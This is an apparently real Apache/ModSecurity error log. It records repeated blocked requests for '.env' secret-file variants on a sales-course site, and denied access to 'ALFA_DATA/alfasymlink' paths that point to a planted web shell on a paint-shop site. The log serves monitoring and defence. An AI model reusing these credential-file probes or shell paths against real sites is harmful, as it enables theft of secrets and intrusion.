[Mon Oct 26 17:55:39.411793 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.stage"] [unique_id "at_MWzS1e-yu7xYT1dr6OgAAAAk"]
[Mon Oct 26 17:55:39.412048 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.stage"] [unique_id "at_MWzS1e-yu7xYT1dr6OgAAAAk"]
[Mon Oct 26 17:55:39.412418 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.stage"] [unique_id "at_MWzS1e-yu7xYT1dr6OgAAAAk"]
[Mon Oct 26 17:55:39.461625 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.ci"] [unique_id "at_MWzS1e-yu7xYT1dr6OwAAAAk"]
[Mon Oct 26 17:55:39.461908 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.ci"] [unique_id "at_MWzS1e-yu7xYT1dr6OwAAAAk"]
[Mon Oct 26 17:55:39.462261 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.ci"] [unique_id "at_MWzS1e-yu7xYT1dr6OwAAAAk"]
[Mon Oct 26 17:55:39.576404 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "at_MWzS1e-yu7xYT1dr6PAAAAAk"]
[Mon Oct 26 17:55:39.576624 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "at_MWzS1e-yu7xYT1dr6PAAAAAk"]
[Mon Oct 26 17:55:39.576963 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "at_MWzS1e-yu7xYT1dr6PAAAAAk"]
[Mon Oct 26 17:55:39.688706 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "at_MWzS1e-yu7xYT1dr6PQAAAAk"]
[Mon Oct 26 17:55:39.688959 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "at_MWzS1e-yu7xYT1dr6PQAAAAk"]
[Mon Oct 26 17:55:39.689282 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "at_MWzS1e-yu7xYT1dr6PQAAAAk"]
[Mon Oct 26 17:55:39.819524 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.preprod"] [unique_id "at_MWzS1e-yu7xYT1dr6PgAAAAk"]
[Mon Oct 26 17:55:39.819763 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.preprod"] [unique_id "at_MWzS1e-yu7xYT1dr6PgAAAAk"]
[Mon Oct 26 17:55:39.820137 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.preprod"] [unique_id "at_MWzS1e-yu7xYT1dr6PgAAAAk"]
[Mon Oct 26 17:55:39.883298 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.uat"] [unique_id "at_MWzS1e-yu7xYT1dr6PwAAAAk"]
[Mon Oct 26 17:55:39.883534 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.uat"] [unique_id "at_MWzS1e-yu7xYT1dr6PwAAAAk"]
[Mon Oct 26 17:55:39.883924 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.uat"] [unique_id "at_MWzS1e-yu7xYT1dr6PwAAAAk"]
[Mon Oct 26 17:55:39.938536 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "at_MWzS1e-yu7xYT1dr6QAAAAAk"]
[Mon Oct 26 17:55:39.938792 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "at_MWzS1e-yu7xYT1dr6QAAAAAk"]
[Mon Oct 26 17:55:39.939136 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "at_MWzS1e-yu7xYT1dr6QAAAAAk"]
[Mon Oct 26 17:55:39.999797 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "at_MWzS1e-yu7xYT1dr6QQAAAAk"]
[Mon Oct 26 17:55:40.000023 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "at_MWzS1e-yu7xYT1dr6QQAAAAk"]
[Mon Oct 26 17:55:40.000275 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "at_MWzS1e-yu7xYT1dr6QQAAAAk"]
[Mon Oct 26 17:55:40.046995 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "at_MXDS1e-yu7xYT1dr6QgAAAAk"]
[Mon Oct 26 17:55:40.047253 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "at_MXDS1e-yu7xYT1dr6QgAAAAk"]
[Mon Oct 26 17:55:40.047562 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "at_MXDS1e-yu7xYT1dr6QgAAAAk"]
[Mon Oct 26 17:55:40.136768 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env1"] [unique_id "at_MXDS1e-yu7xYT1dr6QwAAAAk"]
[Mon Oct 26 17:55:40.137001 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env1"] [unique_id "at_MXDS1e-yu7xYT1dr6QwAAAAk"]
[Mon Oct 26 17:55:40.137288 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env1"] [unique_id "at_MXDS1e-yu7xYT1dr6QwAAAAk"]
[Mon Oct 26 17:55:40.232956 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env2"] [unique_id "at_MXDS1e-yu7xYT1dr6RAAAAAk"]
[Mon Oct 26 17:55:40.233189 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env2"] [unique_id "at_MXDS1e-yu7xYT1dr6RAAAAAk"]
[Mon Oct 26 17:55:40.233528 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env2"] [unique_id "at_MXDS1e-yu7xYT1dr6RAAAAAk"]
[Mon Oct 26 17:55:42.495609 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.162.69.192:24934] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:55:50.249521 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 52.2.58.41:15076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:55:54.277426 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 18.205.91.101:63647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:56:02.198802 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 34.231.118.144:36960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/ptmx/subsystem/ttyS3/device/tty/ttyS1/iomem_base
[Mon Oct 26 17:56:14.187979 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.71.46.142:26023] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:56:22.163894 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.231.156.59:35043] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:56:30.184946 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 23.23.137.202:8143] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:56:46.520965 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.227.180.70:61326] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:57:03.010673 2026] [security2:error] [pid 3106856:tid 3106856] [client 43.135.182.95:45626] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escu.com/"] [unique_id "at_MrjDkl-Y9NiWKcXVWXgAAAAA"]
[Mon Oct 26 17:57:03.041612 2026] [authz_core:error] [pid 3106856:tid 3106856] [client 43.135.182.95:45626] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Mon Oct 26 17:57:06.183844 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 52.200.251.20:26874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/rescan
[Mon Oct 26 17:57:10.447676 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.192.125.239:22107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:57:17.927274 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 185.191.171.1:37742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/partial
[Mon Oct 26 17:57:18.456529 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.93.211.16:49701] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:57:20.345424 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 85.208.96.201:42874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/destroy_by_rcu
[Mon Oct 26 17:57:30.214417 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 52.73.142.41:31886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource4
[Mon Oct 26 17:57:34.166562 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.225.181.161:30478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:57:42.308471 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.233.24.238:36869] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:58:06.590887 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 23.21.175.228:5845] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:58:26.264887 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.220.148.166:26484] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:58:34.276226 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.205.113.104:7684] AH02013: coalesce failed to read from data bucket
